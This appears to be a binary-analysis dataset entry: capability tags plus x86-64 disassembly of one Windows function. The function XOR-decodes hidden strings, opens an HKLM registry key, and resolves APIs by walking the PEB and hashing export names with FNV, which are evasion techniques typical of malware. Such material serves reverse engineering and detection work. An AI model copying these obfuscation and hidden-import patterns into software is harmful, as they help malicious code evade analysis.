Function at 0x140023740
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push rbp
lea rbp, [rax - 0x5f]
sub rsp, 0xf0
movaps xmmword [rax - 0x18], xmm6
movaps xmmword [rax - 0x28], xmm7
movaps xmmword [rax - 0x38], xmm8
mov rax, qword [0x1400a9080]
xor rax, rsp
mov qword [rbp + 0x17], rax
movups xmm0, xmmword [str.bk__pkLHIYSJ__61_]
movzx eax, word [0x14009bf68]
xor ebx, ebx
movups xmm1, xmmword [0x14009bf48]
mov edi, dword [reloc.WS2_32.dll_accept]
mov r8d, ebx
mov word [rbp + 7], ax
lea esi, [rbx + 4]
lea r14d, [rbx + 0x1f]
movups xmmword [rbp - 0x29], xmm0
movups xmm0, xmmword [0x14009bf58]
movups xmmword [rbp - 0x19], xmm1
movups xmmword [rbp - 9], xmm0
cmp edi, 2
jl 0x140023905
movdqa xmm0, xmmword [0x14009c020]
lea rcx, [rbp - 0x25]
movdqa xmm5, xmmword [0x14009bfb0]
movdqa xmm4, xmmword [0x14009c050]
movdqa xmm7, xmmword [0x14009bfd0]
movdqa xmmword [rbp - 0x39], xmm0
mov edx, dword [rbp - 0x39]
movd xmm6, esi
movd xmm8, r14d
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14009c000]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009c000]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x30
jl 0x140023800
cmp r8d, 0x32
jge 0x140023941
movsxd rax, r8d
lea r9, [rbp - 0x29]
add r9, rax
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x32
jl 0x140023910
lea rax, [rbp + 0xf]
mov r9d, 0x20019
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, [rbp - 0x29]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140023cc1
movzx eax, byte [reloc.WS2_32.dll_gethostname]
movsd xmm0, qword [str.akgs_WE9]
xor al, 0x39
movsd qword [rbp - 0x69], xmm0
movups xmm0, xmmword [str.aVUFS]
xor byte [rbp - 0x68], 0x32
xor byte [rbp - 0x67], 0x33
xor byte [rbp - 0x66], 0x34
xor byte [rbp - 0x65], 0x35
xor byte [rbp - 0x64], 0x36
xor byte [rbp - 0x63], 0x37
xor byte [rbp - 0x62], 0x38
mov byte [rbp - 0x61], al
mov eax, dword [0x14009bec8]
mov dword [rbp - 0x49], eax
movzx eax, word [0x14009becc]
mov word [rbp - 0x45], ax
movzx eax, byte [0x14009bece]
mov byte [rbp - 0x43], al
mov byte [rbp - 0x69], 0x50
movups xmmword [rbp - 0x59], xmm0
cmp edi, 2
jl 0x140023b10
movdqa xmm0, xmmword [0x14009c020]
lea rcx, [rbp - 0x55]
movdqa xmm5, xmmword [0x14009bfb0]
movdqa xmm4, xmmword [0x14009c050]
movdqa xmm7, xmmword [0x14009bfd0]
movdqa xmmword [rbp - 0x39], xmm0
mov edx, dword [rbp - 0x39]
movd xmm6, esi
movd xmm8, r14d
nop dword [rax]
movd xmm2, ebx
lea eax, [rbx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add ebx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14009c000]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009c000]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp ebx, 0x10
jl 0x140023a10
cmp ebx, 0x17
jge 0x140023b4d
movsxd rax, ebx
lea r8, [rbp - 0x59]
add r8, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r8, [r8 + 1]
imul ebx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, bl
inc ebx
sub al, cl
add al, 0x31
xor byte [r8 - 1], al
cmp ebx, 0x17
jl 0x140023b20
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140023bd7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140023bd7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x497b76da
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140023bd2
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140023bb0
cmp r8d, 0xc318d05d
je 0x140023bdc
test r9d, r9d
jne 0x140023b90
mov rax, qword [rax]
jmp 0x140023b60
mov ecx, dword [rdi + 0x24]
lea r8, [rbp - 0x69]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov r9d, reloc.WS2_32.dll_recv
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
lea rdx, [rbp - 0x59]
add rax, r10
xor ecx, ecx
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140023c97
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140023c97
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0xf40e807
lea rcx, [rbx + r9*4]
mov ecx, dword [rcx + r10]
add rcx, r10
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x140023c92
nop
movsx edx, dl
lea rcx, [rcx + 1]
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx - 1]
test dl, dl
jne 0x140023c70
cmp r8d, 0x40ff3747
je 0x140023c9c
test r9d, r9d
jne 0x140023c50
mov rax, qword [rax]
jmp 0x140023c20
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
xor ecx, ecx
add rax, r10
call rax
mov rcx, qword [rbp + 0xf]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rbp + 0x17]
xor rcx, rsp
call fcn.140086c80
lea r11, [rsp + 0xf0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
mov rsp, r11
pop rbp
ret